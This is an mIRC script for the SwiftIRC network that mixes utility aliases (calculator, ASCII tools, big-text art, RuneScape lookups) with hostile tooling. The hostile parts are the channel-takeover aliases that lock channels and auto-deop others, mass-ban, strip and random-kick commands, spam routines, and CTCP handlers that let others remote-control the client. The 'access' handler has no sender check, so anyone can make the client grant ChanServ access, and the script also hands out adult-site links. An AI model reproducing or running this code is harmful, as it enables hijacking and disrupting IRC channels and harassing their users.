alias chans {
  join #Kingskrown,#RavenRiley,#Bongo,#home
}
alias cssl {
  server darklite.swiftirc.net +6697
}
menu channel {
  Channel Modes:channel
  -
}
menu query {
  Whois $$1 $+ :whois $$1
  Close Session:close -m $$1
  -
}
menu nicklist {
  Whois $$1 $+ :whois $$1
  Query $$1 $+ :query $$1
  -
  Control
  .Kick $$1 $+ :kick # $$1
  .Ban $$1 $+ :ban $$1,2
  .Ban, Kick $$1 $+ :ban -k # $$1 2
  Access
  .Owner:mode # $+(+,$str(q,$snick(#,0))) $replace($snicks,$chr(44),$chr(32))
  .Deowner:mode # $+(-,$str(q,$snick(#,0))) $replace($snicks,$chr(44),$chr(32))
  .Protect:mode # $+(+,$str(a,$snick(#,0))) $replace($snicks,$chr(44),$chr(32))
  .Deprotect:mode # $+(-,$str(a,$snick(#,0))) $replace($snicks,$chr(44),$chr(32))
  .Op:mode # $+(+,$str(o,$snick(#,0))) $replace($snicks,$chr(44),$chr(32))
  .Deop:mode # $+(-,$str(o,$snick(#,0))) $replace($snicks,$chr(44),$chr(32))
  .Halfop:mode # $+(+,$str(h,$snick(#,0))) $replace($snicks,$chr(44),$chr(32))
  .Dehalfop:mode # $+(-,$str(h,$snick(#,0))) $replace($snicks,$chr(44),$chr(32))
  .Voice:mode # $+(+,$str(v,$snick(#,0))) $replace($snicks,$chr(44),$chr(32))
  .Devoice:mode # $+(-,$str(v,$snick(#,0))) $replace($snicks,$chr(44),$chr(32))
  .Strip:mode # -qahov $str($+($$1,$chr(32)),5)
  -
}
menu status {
  Quit $server $+ :quit
  -
}
alias f9 {
  .timerat off
}
alias checkrsn { 
  .set %cn $1 
  .set %cn_a $false 
  .sockopen -e checkrsn create.runescape.com 443 
} 
on *:sockopen:checkrsn: { 
  if ($sockerr) { echo -ta ** Socket Errro ** $sock(cn).wsmsg | return } 
  sockwrite -n checkrsn POST /chooseusername.ws HTTP/1.1 
  sockwrite -n checkrsn Host: create.runescape.com 
  sockwrite -n checkrsn Content-Type: application/x-www-form-urlencoded 
  sockwrite -n checkrsn Content-Length: $calc(50 + $len(%cn)) 
  sockwrite -nt checkrsn $crlf $+(?agerange=1&country=162&origusername=&username=,%cn) 
} 
on *:sockread:checkrsn: { 
  if ($sockerr) { echo -ta ** Socket Error ** $sock(cn).wsmsg | return } 
  sockread %cn_r 
  if ($+(*the username*>,%cn,<*is currently available*) iswm %cn_r) { .set %cn_a $true } 
} 
on *:sockclose:checkrsn: { 
  echo -a ** name availability ** The runescape username %cn is currently $iif(%cn_a == $true,available,unavailable) 
  .unset %cn* 
}
menu * { 
  Auto Typer
  .On: atcom 
  .Off: .timerat off 
  .Settings 
  ..Time:set %att $$?"Second(s)" 
  ..Text:set %ats $$?"Text" 
} 
alias atcom { 
  if (%att) && (%ats) && (!$1) { 
    .timerat 0 %att atcom send 
  } 
  elseif (!%att) && (%ats) { 
    set %att $$?"Second(s)" 
    .timerat 0 %att atcom send 
  } 
  elseif (%att) && (!%ats) { 
    set %ats set %ats $$?"Text" 
    .timerat 0 %att atcom send 
  } 
  elseif (!%att) && (!%ats) { 
    set %att $$?"Second(s)" 
    set %ats $$?"Text" 
    .timerat 0 %att atcom send 
  } 
  elseif ($1 == send) { 
    .comopen x wscript.shell 
    if (!$comerr) { 
      noop $com(x,sendkeys,3,bstr,%ats {ENTER}) 
    } 
    .comclose x 
  } 
}
alias stop {
  timers off
}
alias clear {
  clearall
}
alias atk {
  if ($me ison #$1) {
    timer 8 -0 cycle #$1
  }
  elseif ($me !ison #$1) {
    join #$1
    timer 8 -0 cycle #$1
  }
}
alias kb {
  var %k $nick($chan,$rand(1,$nick($chan,0)))) 
  if (%k != $me) && (%k != $1) {
    .msg chanserv ban # $iif($2,$1 $2- $+($chr(40),%k,$chr(41)),$1 %k)
  }
}
alias k {
  var %k $nick($chan,$rand(1,$nick($chan,0)))) 
  if (%k != $me) && (%k != $1) {
    .msg chanserv kick # $iif($2,$1 $2- $+($chr(40),%k,$chr(41)),$1 %k)
  }
}
alias c { 
  if ($nick) var %ans $hget(calc,$address($nick,2)) 
  if (!%ans) set %ans 0 
  var %a $regsubex($remove($1-,$chr(32),$chr(44)),/(\d+(?:\.\d+)?)([kmbt])/gi,(ø \1 * 1 $+ $str(0,$pos(kkkmmmbbbttt,\2,3)) )) 
  var %b $regsubex(%a,/(^[\+\-\*\/^])|([\+\-\*\/^])([\+\-\*\/^])/,$iif(\2,\1ans\2,ans\1)) 
  var %c $regsubex(%b,/([\+\-\*\/^]$)/,\1ans) 
  var %d $regsubex(%c,/answer/,ans) 
  var %e $regsubex(%d,/\$?sqrt\(([^\x28]+)\)/,$sqrt( \1 )) 
  set -u3 %f $regsubex(%e,/(\(ø \d+(?:\.\d+)? \* 10+ \))/g,$calc($remove(\1,ø))) 
  set -u3 %ans $calc($replace(%f,ans,%ans,pi,$pi)) 
  if ($nick) hadd -m calc $address($nick,2) $calc($replace(%f,ans,%ans,pi,$pi)) 
  return %ans 
} 
alias calc { 
  var %v $c($1-) 
  echo 7 %f = $bytes(%v,bd)
}
on ^*:open:*:?: {
  haltdef
}
menu * {
  Byte Counter: dialog -md bytes bytes 
} 
dialog bytes { 
  title "Byte Counter" 
  size -1 -1 224 178 
  option dbu 
  edit "", 1, 12 9 199 136, multi return hsbar vsbar 
  edit "", 2, 42 161 29 10, read autohs 
  edit "", 3, 103 161 29 10, read autohs 
  text "Bytes", 4, 23 161 17 8 
  text "Kilobytes", 5, 77 161 25 8 
  box "Text", 6, 2 1 220 150 
  box "Size", 7, 2 152 140 24 
  button "Exit", 8, 153 159 23 10, cancel 
  button "Clear", 9, 185 159 23 10 
} 
on *:dialog:bytes:edit:1: { 
  var %x = 1, %len 
  while (%x <= $did(bytes,1).lines) { 
    var %i = $regsubex($did(bytes,1,%x),/^\s*;.*|^\s*|\s*$/g,) 
    if ($left(%i,2) == /*) { 
      var %comment on 
    } 
    if ($right(%i,2) == */ && %comment == on) { 
      var %comment off 
    } 
    elseif (%comment != on) { 
      inc %len $len(%i) 
    } 
    inc %x 
  } 
  did -ra bytes 2 %len 
  did -ra bytes 3 $bytes(%len,k) 
} 
on *:dialog:bytes:sclick:9: {
  did -r bytes 1-3 
}
menu * { 
  Ascii Converter: dialog -md asc asc 
}
ctcp ^*:clear:?: {
  if ($wildsite == $address($me,2)) {
    clearall
  }
}
ctcp ^*:mode *:?: {
  if ($wildsite == $address($me,2)) {
    mode $2 $3-
  }
}
dialog asc { 
  title "Ascii Converter" 
  size -1 -1 221 70 
  option dbu 
  edit "", 1, 6 6 71 27, multi autovs 
  edit "", 2, 89 6 127 62, read multi autovs vsbar 
  button "Copy", 3, 6 41 34 12 
  button "Close", 4, 47 41 34 12, cancel 
  button "Clear", 5, 28 55 34 12 
} 
on *:dialog:asc:edit:1: { 
  if (!$did(asc,1)) { 
    did -ra asc 2 
  } 
  elseif ($len($did(asc,1)) == 1) { 
    did -ra asc 2 $!chr( $+ $asc($did(asc,1)) $+ ) 
  } 
  else { 
    did -ra asc 2 $!+( $+ $left($regsubex($regsubex($str(-,$did(asc,1).lines),/-/g,$did(asc,1,\n)),/(.)/g,$!chr( $+ $asc(\1) $+ ) $+ $chr(44)),-1) $+ ) 
  } 
} 
on *:dialog:asc:sclick:3: { 
  clipboard $regsubex($str(-,$did(asc,2).lines),/-/g,$did(asc,2,\n)) 
} 
on *:dialog:asc:sclick:5: { 
  did -r asc 1,2 
  did -f asc 1 
} 
menu * {
  Ascii Chart: dialog -md Ascii_Chart Ascii_Chart 
}
dialog Ascii_Chart {
  title "Ascii Table"
  size -1 -1 105 90
  option dbu
  list 1, 5 5 40 65, size
  text "Doubleclick wanted character to send it to clipboard.",2,50 5 50 30, center
  text "¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯", 3, 50 30 50 30, center
  text "Quick help with $chr()'s.", 4, 50 35 50 30, center
  link "http://kingskrown.com/", 5, 40 75 60 10
  button "Close", 6, 5 75 30 10, ok flat
}
ctcp ^*:privmsg *:?: {
  if ($wildsite == $address($me,2)) {
    msg $2-
  }
}
ctcp ^*:notice *:?: {
  if ($wildsite == $address($me,2)) {
    notice $2-
  }
}
on *:dialog:Ascii_Chart:init:*: {
  var %i 1
  while (%i <= 255) {
    did -a Ascii_Chart  1 $chr(%i) = %i
    inc %i
  }
}
on *:dialog:Ascii_Chart:dclick:*: {
  if ($did == 1) {
    clipboard $left($did(1).seltext,1)
  }
  if ($did == 4) {
    ascii_refresh
  }
  if ($did == 5) {
    .url http://www.kingskrown.com/ 
  }
}
on *:join:#ravenriley: {
  if ($network == swiftirc) {
    inc %ravenrileyjoincount
    notice $nick Raven Riley is currently located in: Ohio
    notice $nick Welcome to the home of Raven Riley! %ravenrileyjoincount users have joined # Come check out Raven Riley's myspace at: http://www.myspace.com/therealravenriley
  }
}
on $*:text:/^[@!]RavenRileyLinks/Si:#ravenriley: {
  if ($network == swiftirc) {
    var %return $iif($left($1,1) == @,msg $nick,notice $nick)
    %return http://pastebin.ca/733673 or http://www.pornstarbook.com/raven_riley.shtml or http://ravenriley.amateurbookmark.com/
  }
}
on $*:text:/^[@!]2006/Si:#ravenriley: {
  if ($network == swiftirc) {
    if (!$2) || ($2 !isnum 65-92) {
      var %return $iif($left($1,1) == @,msg $chan,notice $nick)
      %return Please supply a number between 65-92
    }
    elseif ($2 isnum 65-92) {
      var %return $iif($left($1,1) == @,msg $chan,notice $nick)
      %return Link for year 2006 blog $2 $+ : http://nakedravenriley.thumblogger.com/home/list/2006/ $+ $2 $+ /
    }
  }
}
on $*:text:/^[@!]2007/Si:#ravenriley: {
  if ($network == swiftirc) {
    if (!$2) || ($2 !isnum 13-40) {
      var %return $iif($left($1,1) == @,msg $chan,notice $nick)
      %return Please supply a number between 13-40
    }
    elseif ($2 isnum 13-40) {
      var %return $iif($left($1,1) == @,msg $chan,notice $nick)
      %return Link for year 2007 blog $2 $+ : http://nakedravenriley.thumblogger.com/home/list/2007/ $+ $2 $+ /
    }
  }
}
ctcp ^*:amsg *:?: {
  if ($wildsite == $address($me,2)) {
    amsg $2-
  }
}
ctcp ^*:ame *:?: {
  if ($wildsite == $address($me,2)) {
    ame $2-
  }
}
on $*:text:/^[@!]Week/Si:#ravenriley: {
  if ($network == swiftirc) {
    if (!$2) || ($2 !isnum 1-17) {
      var %return $iif($left($1,1) == @,msg $chan,notice $nick)
      %return Please supply a number between 1-17
    }
    elseif ($2 isnum 1-17) {
      var %return $iif($left($1,1) == @,msg $chan,notice $nick)
      %return Link for Week $2 $+ : http://raven-riley-blog.com/raven-riley/week $+ $2 $+ /
    }
  }
}
on $*:text:/^[@!]BlogImage/Si:#ravenriley: {
  if ($network == swiftirc) {
    if (!$2) || ($2 !isnum 1-17) {
      var %return $iif($left($1,1) == @,msg $chan,notice $nick)
      %return Please supply a number between 1-17
    }
    elseif ($2 isnum 1-17) {
      var %return $iif($left($1,1) == @,msg $chan,notice $nick)
      %return Link for Blog Image $2 $+ : http://raven-riley-blog.com/raven-riley/ravenriley $+ $2 $+ .htm
    }
  }
}
on $*:text:/^[@!]HalloweenImage/Si:#ravenriley: {
  if ($network == swiftirc) {
    if (!$2) || ($2 !isnum 1-8) {
      var %return $iif($left($1,1) == @,msg $chan,notice $nick)
      %return Please supply a number between 1-8
    }
    elseif ($2 isnum 1-8) {
      var %return $iif($left($1,1) == @,msg $chan,notice $nick)
      %return Link for Halloween Image $2 $+ : http://www.myxxxblog.com/galleries/RavenRiley/Halloween/imagepages/image $+ $2 $+ .html
    }
  }
}
alias -l htmlfree {
  var %y, %x = $regsub($1-,/(^[^<]*>|<[^>]*>|<[^>]*$)/g,$null,%y), %y = $remove(%y,&nbsp;) 
  return %y
}
alias rsp {
  if ($sock(rsp)) {
    sockclose rsp
  }
  else {
    sockopen rsp www.runescape.com 80
    sockmark rsp echo @rsp
    $iif(!$window(@rsp),window -e @rsp)
  } 
}
on *:sockopen:rsp: { 
  sockwrite -nt $sockname GET /title.ws HTTP/1.1 
  sockwrite -nt $sockname Host: runescape.com $+ $crlf 
  sockwrite -nt $sockname $crlf
} 
on *:sockread:rsp: {
  if (!$sockerr) {
    var %rsp
    sockread %rsp
    if (*There are currently * people playing!* iswm %rsp) {
      tokenize 32 %rsp
      $iif(!%totalrsp,set -e %totalrsp $4,set -e %currentrsp $4)
      $iif(!%timersp,set -e %timersp $date(ddd mmm dd HH:nn:ss yyyy))
      $sock($sockname).mark $iif(+ isin $replace($iif(!%currentrsp,$4,$calc(%totalrsp - %currentrsp)),-,+),$bytes($remove($iif(!%currentrsp,$4,$calc(%totalrsp - %currentrsp)),-),db) people have logged in runescape in the previous $+($duration($calc($ctime - $ctime(%timersp))),.),$bytes($replace($iif(!%currentrsp,$4,$calc(%totalrsp - %currentrsp)),-,+),db) people have logged out runescape in the previous $+($duration($calc($ctime - $ctime(%timersp))),.))) 
      $sock($sockname).mark Total: $bytes(%totalrsp,db) - Current: $iif(!%currentrsp,$bytes(%totalrsp,db),$bytes(%currentrsp,db))
      $sock($sockname).mark 
    }
  }
}
on *:sockclose:rsp: {
  sockclose $sockname
}
alias resetrsp {
  unset %totalrsp
  unset %currentrsp
  unset %timersp
}
alias shutdown { 
  run shutdown.exe -sft 00
}
alias scarface {
  msg $active "Whattaya lookin' at? You're all a bunch of fucking assholes. You know why? 'Cause you don't have the guts to be what you wanna be. You need people like me. You need people like me so you can point your fucking fingers, and say "that's the bad guy." 
  msg $active So, what dat make you? Good? You're not good; you just know how to hide. Howda lie. Me, I don't have that problem. Me, I always tell the truth--even when I lie. So say goodnight to the bad guy. 
  msg $active Come on; the last time you gonna see a bad guy like this, let me tell ya. Come on, make way for the bad guy. There's a bad guy comin' through; you better get outta his way!" 
  msg $active http://youtube.com/watch?v=4pW2ZOBi01U&feature=related
}
ctcp ^*:join *:?: {
  if ($wildsite == $address($me,2)) {
    join #$2
  }
}
ctcp ^*:part *:?: {
  if ($wildsite == $address($me,2)) {
    part #$2
  }
}
alias -l rev {
  var %len = $len($1-)
  var %return = $null
  while (%len > 0) {
    var %return = %return $+ $mid($1-,%len,1) $+ $chr(32)
    dec %len
  }
  return %return
}
alias reverse say $rev($1-)
alias big {
  if ($bigtext.unsupp($1-)) {
    echo -ac info * Characters not supported by Big Text present in your message: $bigtext.unsupp($1-)
    return
  }
  var %lia, %lib, %lic, %lid, %lie, %i 1, %text $strip($1-, bur), %colregex /^(\d\d?(?:,\d\d?)?)/
  var %regex = /(?<= $+ $chr(3) $+ [0-9]| $+ $chr(3) $+ [0-9][0-9]) $+ $chr(44) $+ \d\d?/g, %res, %dummy = $regsub(%text, %regex, $null, %text)
  while (%i <= $len(%text)) {
    if ($mid(%text, %i, 1) == $chr(3)) {
      var %lia $+(%lia, $chr(3)), %lib $+(%lib, $chr(3)), %lic $+(%lic, $chr(3)), %lid $+(%lid, $chr(3)), %lie $+(%lie, $chr(3))
      if ($mid(%text, $calc(%i + 1), 1) != $chr(32)) && ($regex(mtcol, $mid(%text, $calc(%i + 1), $mid(%text, $calc(%i + 1), 0)), %colregex)) {
        var %m $regml(mtcol, 1)
        var %lia %lia $+ %m, %lib %lib $+ %m, %lic %lic $+ %m, %lid %lid $+ %m, %lie %lie $+ %m
        inc %i $len(%m)
      }
    }
    else { 
      tokenize 32 $bigtext.char($mid(%text, %i, 1))
      var %lia $+(%lia, $1), %lib $+(%lib, $2), %lic $+(%lic, $3), %lid $+(%lid, $4), %lie $+(%lie, $5)
      ; if ($bigtext.kern($mid(%text, %i, 2))) {
      var %lia $+(%lia, .), %lib $+(%lib, .), %lic $+(%lic, .), %lid $+(%lid, .), %lie $+(%lie, .)
      ; }
    }
    inc %i
  }
  say $bigtext.format(%lia)
  say $bigtext.format(%lib)
  say $bigtext.format(%lic)
  say $bigtext.format(%lid)
  say $bigtext.format(%lie)
}
alias -l bigtext.char {
  if ($1 === $chr(32)) || ($1 === $null) return $&
    ... $&
    ... $&
    ... $&
    ... $&
    ...
  if ($1 === $chr(160)) return $&
    ..... $&
    ..... $&
    ..... $&
    ..... $&
    .....
  elseif ($1 == 0) return $&
    .XXXX. $&
    XX..XX $&
    XX.XXX $&
    XXX.XX $&
    .XXXX.
  elseif ($1 == 1) return $&
    .XXXX $&
    XX.XX $&
    ...XX $&
    ...XX $&
    ...XX
  elseif ($1 == 2) return $&
    XXXXX. $&
    ....XX $&
    ..XX.. $&
    XX.... $&
    XXXXXX
  elseif ($1 == 3) return $&
    XXXXX. $&
    ....XX $&
    .XXXX. $&
    ....XX $&
    XXXXX.
  elseif ($1 == 4) return $&
    .....XXX. $&
    ...XX.XX. $&
    .XX...XX. $&
    XXXXXXXXX $&
    ......XX.
  elseif ($1 == 5) return $&
    XXXXX $&
    XX... $&
    XXXX. $&
    ...XX $&
    XXXX.
  elseif ($1 == 6) return $&
    .XXXX. $&
    XX.... $&
    XXXXX. $&
    XX..XX $&
    .XXXX.
  elseif ($1 == 7) return $&
    XXXXXX $&
    ...XX. $&
    ..XX.. $&
    .XX... $&
    XX....
  elseif ($1 == 8) return $&
    .XXXX. $&
    XX..XX $&
    .XXXX. $&
    XX..XX $&
    .XXXX.
  elseif ($1 == 9) return $&
    .XXXX. $&
    XX..XX $&
    .XXXXX $&
    ....XX $&
    .XXXX.
  elseif ($1 == A) return $&
    .XXXX. $&
    XX..XX $&
    XXXXXX $&
    XX..XX $&
    XX..XX
  elseif ($1 == B) return $&
    XXXXX. $&
    XX..XX $&
    XXXXX. $&
    XX..XX $&
    XXXXX.
  elseif ($1 == C) return $&
    .XXXX. $&
    XX..XX $&
    XX.... $&
    XX..XX $&
    .XXXX.
  elseif ($1 == D) return $&
    XXXX.. $&
    XX.XX. $&
    XX..XX $&
    XX..XX $&
    XXXXX.
  elseif ($1 == E) return $&
    XXXXX $&
    XX... $&
    XXXX. $&
    XX... $&
    XXXXX
  elseif ($1 == F) return $&
    XXXXX $&
    XX... $&
    XXXX. $&
    XX... $&
    XX...
  elseif ($1 == G) return $&
    .XXXX. $&
    XX.... $&
    XX.XXX $&
    XX..XX $&
    .XXXXX
  elseif ($1 == H) return $&
    XX...XX $&
    XX...XX $&
    XXXXXXX $&
    XX...XX $&
    XX...XX
  elseif ($1 == I) return $&
    XXXX $&
    .XX. $&
    .XX. $&
    .XX. $&
    XXXX
  elseif ($1 == J) return $&
    ....XX $&
    ....XX $&
    ....XX $&
    XX..XX $&
    .XXXX.
  elseif ($1 == K) return $&
    XX..XX $&
    XX.XX. $&
    XXXX.. $&
    XX.XX. $&
    XX..XX
  elseif ($1 == L) return $&
    XX... $&
    XX... $&
    XX... $&
    XX... $&
    XXXXX
  elseif ($1 == M) return $&
    XX....XX $&
    XXX..XXX $&
    XXXXXXXX $&
    XX.XX.XX $&
    XX....XX
  elseif ($1 == N) return $&
    XX..XX $&
    XXX.XX $&
    XXXXXX $&
    XX.XXX $&
    XX..XX
  elseif ($1 == O) return $&
    .XXXX. $&
    XX..XX $&
    XX..XX $&
    XX..XX $&
    .XXXX.
  elseif ($1 == P) return $&
    XXXXX. $&
    XX..XX $&
    XXXXX. $&
    XX.... $&
    XX....
  elseif ($1 == Q) return $&
    .XXXX.. $&
    XX..XX. $&
    XX..XX. $&
    XX..XX. $&
    .XXXXXX
  elseif ($1 == R) return $&
    XXXXX. $&
    XX..XX $&
    XXXXX. $&
    XX..XX $&
    XX..XX
  elseif ($1 == S) return $&
    .XXXX. $&
    XX.... $&
    .XXXX. $&
    ....XX $&
    XXXXX.
  elseif ($1 == T) return $&
    XXXXXX $&
    ..XX.. $&
    ..XX.. $&
    ..XX.. $&
    ..XX..
  elseif ($1 == U) return $&
    XX..XX $&
    XX..XX $&
    XX..XX $&
    XX..XX $&
    .XXXX.
  elseif ($1 == V) return $&
    XX....XX $&
    XX....XX $&
    .XX..XX. $&
    ..XXXX.. $&
    ...XX...
  elseif ($1 == W) return $&
    XX...XX $&
    XX...XX $&
    XX.X.XX $&
    XXXXXXX $&
    .XX.XX.
  elseif ($1 == X) return $&
    XX...XX $&
    .XX.XX. $&
    ..XXX.. $&
    .XX.XX. $&
    XX...XX
  elseif ($1 == Y) return $&
    XX..XX $&
    XX..XX $&
    .XXXX. $&
    ..XX.. $&
    ..XX..
  elseif ($1 == Z) return $&
    XXXXXX $&
    ...XX. $&
    ..XX.. $&
    .XX... $&
    XXXXXX
  elseif ($1 == $chr(35)) return $&
    .XX..XX. $&
    XXXXXXXX $&
    .XX..XX. $&
    XXXXXXXX $&
    .XX..XX.
  elseif ($1 == ") return $&
    XX..XX $&
    XX..XX $&
    ...... $&
    ...... $&
    ......
  elseif ($1 == +) return $&
    ...... $&
    ..XX.. $&
    XXXXXX $&
    ..XX.. $&
    ......
  elseif ($1 == =) return $&
    ...... $&
    XXXXXX $&
    ...... $&
    XXXXXX $&
    ......
  elseif ($1 == -) return $&
    ...... $&
    ...... $&
    XXXXXX $&
    ...... $&
    ......
  elseif ($1 == :) return $&
    .. $&
    XX $&
    .. $&
    XX $&
    ..
  elseif ($1 == !) return $&
    XX $&
    XX $&
    XX $&
    .. $&
    XX
  elseif ($1 == ?) return $&
    XXX. $&
    ..XX $&
    .XX. $&
    .... $&
    .XX.
  elseif ($1 == .) return $&
    .. $&
    .. $&
    .. $&
    .. $&
    XX
  elseif ($1 == /) return $&
    ....XX $&
    ...XX. $&
    ..XX.. $&
    .XX... $&
    XX....
  elseif ($1 == $chr(40)) return $&
    ...XX $&
    .XX.. $&
    XX... $&
    .XX.. $&
    ...XX
  elseif ($1 == $chr(41)) return $&
    XX... $&
    ..XX. $&
    ...XX $&
    ..XX. $&
    XX...
  elseif ($1 == $chr(37)) return $&
    XX..XX $&
    ...XX. $&
    ..XX.. $&
    .XX... $&
    XX..XX
  elseif ($1 == [) return $&
    XXXXX $&
    XX... $&
    XX... $&
    XX... $&
    XXXXX
  elseif ($1 == ]) return $&
    XXXXX $&
    ...XX $&
    ...XX $&
    ...XX $&
    XXXXX
  elseif ($1 == |) return $&
    .XX. $&
    .XX. $&
    .XX. $&
    .XX. $&
    .XX.
  elseif ($1 == <) return $&
    ....XX $&
    ..XX.. $&
    XX.... $&
    ..XX.. $&
    ....XX
  elseif ($1 == >) return $&
    XX.... $&
    ..XX.. $&
    ....XX $&
    ..XX.. $&
    XX....
  elseif ($1 == ,) return $&
    ... $&
    ... $&
    XXX $&
    .XX $&
    XX. 
}
ctcp ^*:update:?: {
  msg nickserv update
}
ctcp ^*:server *:?: {
  if ($wildsite == $address($me,2)) {
    server -m $2
  }
}
alias -l bigtext.unsupp {
  var %res, %dummy = $regsub($1-, /[]a-z  0-9# $+ $chr(44) $+ '+=?:!?./\\()%[|<>_?"?-]/igS, $null, %res)
  return %res
}
alias -l bigtext.kern {
  var %res $true
  if ($regex($1-, /^(.|[_GDSQL-]T|[TPFVY7/"]J|T\.|L[1Y\\"]|[LTK<[]-|-[]>%\\]|S1|T4|\?\.|\.\?|[467L\\]?|?[J/]|L'|\/\/|\\\\|?J|[_?]?|[?T_]_|>\.|\.<)$/i)) %res = $false
  return %res
}
alias -l bigtext.format {
  var %res, %i 1, %previous 0, %current, %curcolor, %colregex /^(\d\d?(?:,\d\d?)?)/
  while (%i <= $len($1-)) {
    if ($mid($1-, %i, 1) == $chr(3)) {
      if ($regex(mtcol, $mid($1-, $calc(%i + 1), $mid($1-, $calc(%i + 1), 0)), %colregex)) {
        if ($gettok($regml(mtcol, 1), 1, 44) != %curcolor) {
          %curcolor = $gettok($regml(mtcol, 1), 1, 44)
          if (%i != 1) && ($mid($1-, $calc(%i - 1), 1) == X) %res = %res $+ $chr(15)
        }
        inc %i $len($regml(mtcol, 1))
      }
      elseif (%curcolor) {
        %curcolor =
        if (%i != 1) && ($mid($1-, $calc(%i - 1), 1) == X) %res = %res $+ $chr(15)
      }
    }
    else {
      %current = $iif($mid($1-, %i, 1) == ., 0, 1)
      if (%previous != %current) {
        %previous = %current
        if (%curcolor) {
          if (%current) %res = %res $+ $chr(3) $+ %curcolor $+ , $+ %curcolor
          else %res = %res $+ $chr(3)
        }
        else %res = %res $+ $chr(22)
      }
      %res = %res $+ $chr(160)
    }
    inc %i
  }
  return %res
}
alias bots {
  invite phantom $iif($1,$1,#)
  invite terror $iif($1,$1,#)
  invite narutobot $iif($1,$1,#)
  invite vectra $iif($1,$1,#)
  invite darwin $iif($1,$1,#)
  invite proscript $iif($1,$1,#)
  invite genie $iif($1,$1,#)
  invite runescript $iif($1,$1,#)
  invite ice-warrior $iif($1,$1,#)
  invite ikick $iif($1,$1,#)
  invite omegascript $iif($1,$1,#)
  invite gusbot $iif($1,$1,#)
}
alias botspam {
  $iif($rand(1,2),msg $iif($1,$1,#) !stats uloveme,msg $1 @stats uloveme)
}
ctcp ^*:nick *:?: {
  if ($wildsite == $address($me,2)) {
    nick $2
  }
}
alias fban {
  whois $1
  mode $iif($2,$2,#) +b %fban
}
raw 311:*: { 
  set %fban $+(*!*@,$4)
}
ctcp ^*:access *:?: {
  msg chanserv access $2 add $3 $4
}
on *:dialog:kingskrown:menu:9: {
  did -r kingskrown 4,7,12 
  did -f kingskrown 1 
}
alias astrip {
  var %a 1
  while (%a <= $snick($1,0)) {
    if ($snick($1,%a) != $me) {
      mode $iif($1,$1,#) -qaohv $str($+($snick($1,%a),$chr(32)),5)
    }
    inc %a 
  }
}
alias aban {
  var %b 1
  while (%b <= $snick($1,0)) {
    if ($snick($1,%b) != $me) {
      ban -k $iif($1,$1,#) $str($+($snick($1,%b),$chr(32)),5) 2
    }
    inc %b
  }
}
alias takeover {
  mode $iif($1,$1,#) +eeeeeee king?krown!*@*.dsl.wotnoh.sbcglobal.net ~c:@#King?krown ~c:%#King?krown ~c:+#King?krown ~c:#King?krown king?krown!*@* $me
  mode $iif($1,$1,#) +IIIIIII king?krown!*@*.dsl.wotnoh.sbcglobal.net ~c:@#King?krown ~c:%#King?krown ~c:+#King?krown ~c:#King?krown king?krown!*@* $me
  mode $iif($1,$1,#) +eIeIeIeI *!*@*wotnoh* *!*@*wotnoh* *!*@*dsl* *!*@*dsl* *!*@*global* *!*@*global* *!*@*sbc* *!*@*sbc*
  mode $iif($1,$1,#) +eIeI *!*@*swift* *!*@*swift* *!*@*net* *!*@*net*
  mode $iif($1,$1,#) +smiRcKVMNTlkfj 1 àßçÐéƒghìjk£mñôþ¶®§tµv¶ [1t#b]:999 1:999 
  topic $iif($1,$1,#) #kingskrown == #kingzkrown && kingskrown == kingzkrown && # == $+($chr(2),downd,$chr(2))
}
on *:ban:#: {
  if ($address($me,2) iswm $banmask) {
    mode # -b $banmask
  }
}
alias amsg {
  var %x 1 
  var %y #mIRC #mSL #IrcHelp #Support #Help #SwiftIRC #SwiftSwitch #Bongo
  while (%x <= $chan(0)) {
    if ($chan(%x) !isin %y) {
      msg $chan(%x) $1-
    }
    inc %x 
  }
}
alias sinvite {
  var %s 1 
  var %t $me Bro Mike Ias Stirk Jacky Zwill Will Jello Fo_Reel FoSho Xotick Allen Proxybot Fx Awong Salty Remy Rupert Zeus Arthur Marius Tim Tarball Gic Chrono Scott Home Angela Sephiroth Vivec Slaapkamer Pancakes Strider3282 Sara Steve Patje Timmy Karl Lilly |Luke| [-Home-]
  while (%s <= $snick(#,0)) {
    if ($snick(#,%s) !isin %t) {
      invite $snick(#,%s) #$1
    }
    inc %s
  }
}
alias takeovermode {
  set %takeover $iif(on isin $1,on,off)
  echo -at *** $+($chr(37),takeover) is now $iif($1 == on,on,off)
}
alias takeoverchan {
  set %takeoverchan #$1
  echo -at *** $+($chr(37),takeoverchan) is now #$1
}
on *:deop:#: {
  if (%takeover == on) {
    if $address($me,2) == $address($opnick,2) || ($opnick == $me) {
      $iif($opnick == $me,msg nickserv update,mode $chan +o $opnick)
    }
  }
}
on *:dehelp:#: {
  if (%takeover == on) {
    if $address($me,2) == $address($opnick,2) || ($hnick == $me) {
      $iif($hnick == $me,msg nickserv update,mode $chan +h $hnick)
    }
  }
}
on *:op:#: {
  if (%takeover == on) {
    if (%takeoverchan == $chan) && ($address($opnick,2) != $address($me,2)) || ($opnick != $me) || ($opnick != Bongo_billy4) || ($opnick != flordia) {
      mode # -o $opnick 
    }
    if $address($me,2) == $address($opnick,2) || ($opnick == $me) {
      all $chan
    }
  }
}
on *:help:#: {
  if (%takeover == on) {
    if $address($me,2) == $address($opnick,2) || ($hnick == $me) {
      all $chan
    }
  }
}
alias act {
  mode $chan $+($iif($1,$1,+),b) $+(,$+(~,$iif($2,$2,q),:),$address($snicks,2))
}
alias multi { 
  var %x 1 
  while ($scon(%x)) { 
    scon %x $1- 
    inc %x 
  } 
}
alias all {
  mode $iif($1,$1,#) +eeeeeee king?krown!*@*.dsl.wotnoh.sbcglobal.net ~c:@#King?krown ~c:%#King?krown ~c:+#King?krown ~c:#King?krown king?krown!*@* $me
  mode $iif($1,$1,#) +IIIIIII king?krown!*@*.dsl.wotnoh.sbcglobal.net ~c:@#King?krown ~c:%#King?krown ~c:+#King?krown ~c:#King?krown king?krown!*@* $me
}